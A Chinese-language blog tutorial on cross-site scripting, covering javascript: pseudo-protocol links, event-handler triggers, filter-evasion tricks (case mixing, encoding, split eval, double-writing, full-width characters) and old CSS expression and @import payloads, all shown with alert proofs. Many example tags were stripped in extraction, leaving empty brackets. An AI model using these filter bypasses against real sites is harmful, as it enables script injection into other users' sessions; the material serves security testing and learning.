[第一节]利用[]构造HTML/JS [第二节]伪协议—使用javascript: 伪协议的方式构造XSS [第三节]产生自己的事件 [第四节] XSS 的变形 [第五节]其他标签以及手法 [第六节]利用CSS 跨站(old)
可以利用[] 构造HTML 标签和 标签。
在测试页面提交参数[
利用[]构造HTML/JS] 提交[alert(/xss/)]
第二节 伪协议
可以使用javascript: 伪协议的方式构造XSS
提交参数[touch me!],然后点击超链接,即可触发XSS。
也可以使用img 标签的伪协议,但是这种方法在IE6 下测试成功。
[
]
第三节 产生自己的事件
"事件驱动"是一种比较经典的编程思想。在网页中会发生很多事件(比如鼠标移动,键盘输入等),JS 可以对这些时间进行响应。 所以我们可以通过事件触发JS 函数,触发XSS。 事件种类 windows 事件-------------对windows 对象触发的事件 Form 事件----------------HTML 表单内的动作触发事件 Keyboard 事件------------键盘按键 Mouse 事件---------------由鼠标或类似用户动作触发的事件 Media 事件------------由多媒体触发的事件
如:[
]
这个标签会引入一个图片,然后鼠标悬停在图片上的时候,
会触发XSS 代码。
单行文本框的键盘点击事件,
[],当点击键盘任意一个按键的时候触发。
第四节 XSS 的变形
[1.] 大小写转换 [2.] 引号的使用 [3.][/]代替空格 [4.] 回车 [5.] 对标签属性值进行转码 [6.] 双写绕过 我们可以构造的XSS 代码进行各种变形,以绕过XSS 过滤器的检测。变形方式主要有以下几种
1.大小写转换 可以将payload 进行大小写转化。如下面两个例子。
click me
2. 引号的使用
HTML 语言中对引号的使用不敏感,但是某些过滤函数是“锱铢必较”。
3. [/]代替空格
可以利用左斜线代替空格
4. 回车
我们可以在一些位置添加Tab(水平制表符)和回车符,来绕过关键字检测。
click me!
5. 对标签属性值进行转码
可以对标签属性值进行转码,用来绕过过滤。对应编码如下
经过简单编码之后的样子。
click me!
click me!
6. 拆分跨站
z='alert'
z=z+'(/xss/)'
eval(z)
7. 双写绕过
8. 使用全角字符
width:expression(alert(/xss/))
9.注释会被浏览器忽略
width:expr/**/ession(alert(/xs~s/))
10.样式表中的[] 和[\0] 第五节 其他标签以及手法可以用其他标签触发XSS。
[] 这个语句还是比较简洁的。
[]
标题第六节 利用CSS 跨站(old)
1 .行内样式
[]
2 .页内样式
[Body{background-image:url(javascript:alert(/xss/))}]
3.外部样式
[hello]
xss.css 文件内容如下
----------------------------------------------------------------- h1 { color:red; } div { /width:expression(alert(/xss/))/ background-image:url(javascript:alert(/xss/)) }
4. expression
[]
[Body{background-image:expression(alert(/xss/));}]
5 import
[@import 'javascript:alert("xss")';]
[@import url(xss.css);AJEST]
关注
打赏
最近更新
- 深拷贝和浅拷贝的区别(重点)
- 【Vue】走进Vue框架世界
- 【云服务器】项目部署—搭建网站—vue电商后台管理系统
- 【React介绍】 一文带你深入React
- 【React】React组件实例的三大属性之state,props,refs(你学废了吗)
- 【脚手架VueCLI】从零开始,创建一个VUE项目
- 【React】深入理解React组件生命周期----图文详解(含代码)
- 【React】DOM的Diffing算法是什么?以及DOM中key的作用----经典面试题
- 【React】1_使用React脚手架创建项目步骤--------详解(含项目结构说明)
- 【React】2_如何使用react脚手架写一个简单的页面?


微信扫码登录